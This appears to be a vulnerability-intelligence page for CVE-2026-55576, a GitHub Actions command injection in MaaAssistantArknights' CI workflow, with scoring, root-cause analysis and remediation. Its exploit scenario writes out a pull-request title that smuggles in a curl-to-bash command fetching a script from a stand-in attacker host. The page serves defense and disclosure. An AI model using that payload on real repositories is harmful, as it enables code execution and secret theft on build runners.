Skip to main content

MaaAssistantArknights CVE-2026-55576

HIGH
OS Command Injection (CWE-78)
2026-07-15 GitHub_M
8.8
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Fork repo and open non-draft PR
  2. Delivery
    Set title 'Release v' + shell payload
  3. Exploit
    pull_request event triggers changelog job
  4. Execution
    Title expanded into run: sed pipeline
  5. Persist
    Commands execute on ubuntu-latest runner
  6. Impact
    Exfiltrate job secrets or abuse CI

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to open a pull request from a fork (github.event.pull_request) that is NOT a draft (draft false) and whose title begins with the literal prefix 'Release v', which is the exact startsWith(...) guard on the vulnerable job; the payload is embedded in the PR title using shell metacharacters (backticks or $(...)). The trigger events are pull_request opened, reopened, and ready_for_review on the dev-v2 workflow. Limiting factors: the vulnerable workflow only exists in the dev-v2 configuration, the runner token for fork PRs is read-only (bounding what stolen credentials achieve), and GitHub typically requires maintainer approval before running workflows for first-time fork contributors, so a brand-new account may not get automatic execution. Post-fix, the fork guard github.event.pull_request.head.repo.full_name github.repository makes fork PRs ineligible entirely.

Impact

The supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L, base 8.8) reflects network-reachable, low-complexity, unauthenticated code execution on the runner with high integrity impact and lower confidentiality/availability impact - consistent with the fork PR token being read-only, which caps data theft. The PR:N/UI:N rating should be tempered: GitHub commonly requires maintainer approval to run workflows for first-time fork contributors, which functions as real-world attacker friction not captured in the vector, so treat exploitation as low-effort-but-gated rather than fully drive-by. There is no EPSS score in the input to corroborate exploitation likelihood, no KEV listing, and no POC signal, so this is a genuinely high-severity, easily-understood bug rather than a confirmed in-the-wild threat. Because impact is limited to one project's CI runner (not to downstream users of the tool), organizational blast radius is narrow unless the runner had access to meaningful secrets.

Exploit ScenarioDerived

An attacker forks the repository and opens a non-draft pull request titled Release v$(curl -s https://evil.example/x.sh | bash) (or using backticks). When the pull_request opened/reopened/ready_for_review event fires and the generate-changelog job runs, the title is expanded into the sed pipeline and the injected command executes on the ubuntu-latest runner. No POC is published, but the technique is well-known and requires only a crafted title, subject to any GitHub first-contributor workflow-approval gate.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 15, 2026

GitHub Actions expression injection in MaaAssistantArknights' dev-v2 CI (release-preparation.yml) lets an external attacker execute arbitrary shell commands on the ubuntu-latest runner by opening a non-draft fork pull request whose title begins with 'Release v'. The attacker-controlled pull_request.title was inlined directly into a run: block during opened, reopened, and ready_for_review events, so a crafted title breaks out of the sed command in the generate-changelog job. No public exploit has been identified at time of analysis and it is not in CISA KEV, but the class is trivially weaponizable and the fix commit (cafc3946) is public. EPSS was not provided.

RemediationAI

Upstream fix available (commit cafc3946059e6337d2089d4fec8b6885ba17c332); no packaged release version applies since the change is to CI workflow files, so downstream users of the tool need take no action and repository maintainers should ensure dev-v2/default branches have merged this commit. The fix applies two independent controls: it moves untrusted values (PR_TITLE, PR_URL, TAG_NAME, LATEST, etc.) into env: variables referenced as quoted shell variables ("$PR_TITLE") instead of inlining ${{ }} into run:, and it adds a fork guard if: github.event.pull_request.head.repo.full_name == github.repository so the automation short-circuits for fork PRs whose tokens are read-only anyway. If immediate merging is not possible, compensating controls are: disable or gate the release-preparation.yml triggers on pull_request opened/reopened/ready_for_review (trade-off: breaks automatic changelog generation), require approval for all outside-contributor workflow runs in repository Actions settings (trade-off: adds maintainer toil), or manually apply the env-var pattern to any remaining run: step that references github.event data. See GHSA-pqx2-5g66-f5w8 for the advisory.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-78 (OS Command Injection) realized through the GitHub Actions template-expansion mechanism. GitHub evaluates ${{ ... }} expressions and substitutes their literal text into the shell script of a run: step BEFORE the shell executes, so any expression carrying untrusted data (here github.event.pull_request.title) is concatenated into the command line rather than passed as data. In the vulnerable release-preparation.yml the title fed a tag_name=$(echo "${{ github.event.pull_request.title }}" | sed ...) pipeline, so shell metacharacters such as backticks or $(...) in the title are interpreted by bash on the runner. The single affected product per CPE is cpe:2.3:a:maaassistantarknights:maaassistantarknights, an open-source one-click automation tool for the game Arknights, and the exposure is confined to its own CI/CD pipeline on GitHub-hosted Ubuntu runners rather than to any installed copy of the desktop tool.

Know when Maaassistantarknights gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.8 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
vuln.today AI 7.6 HIGH

Remotely reachable via a crafted fork-PR title (AV:N/AC:L/PR:N), but GitHub's first-contributor workflow-approval gate warrants UI:R; runner integrity is high while the read-only fork token limits confidentiality and availability.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
High
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

MaaAssistantArknights is a one-click tool for daily Arknights tasks. In the current dev-v2 workflow, .github/workflows/release-preparation.yml inlined attacker-controlled github.event.pull_request.title into a run: shell command during the pull_request opened, reopened, and ready_for_review events, so a non-draft fork PR whose title starts with Release v could execute shell commands on the ubuntu-latest runner during the generate-changelog job. This vulnerability is fixed by commit cafc3946059e6337d2089d4fec8b6885ba17c332.

Executive ViewAI

Why It Matters

MaaAssistantArknights' GitHub Actions CI pipeline contains an expression injection vulnerability that allows external attackers to execute arbitrary shell commands during builds by opening pull requests with crafted titles. This threatens build artifact integrity, exposes build-time secrets, and creates supply chain compromise risk. Although no public exploit has been identified at time of analysis, the vulnerability is trivially weaponizable and requires immediate defensive action.

Business Impact: High
Compensating Controls

Until a vendor patch is released: restrict pull_request and pull_request_target event triggers to exclude fork-originated pull requests and limit to branches you directly control; refactor GitHub Actions workflows to use environment variables and official context objects instead of string interpolation with user-controlled data; implement mandatory approval gates before executing any release preparation or build modification jobs; enable GitHub branch protection rules requiring code review for all changes to workflow files.

Threat Intelligence Overview

EPSS Score
0.3%
Top 78% exploitable
Prevalence
Low
niche open-source game-automation tool; exposure confined to one project's CI
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Affected Products (CPE)CVE.org

cpe:2.3:a:maaassistantarknights:maaassistantarknights:*:*:*:*:*:*:*:*

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy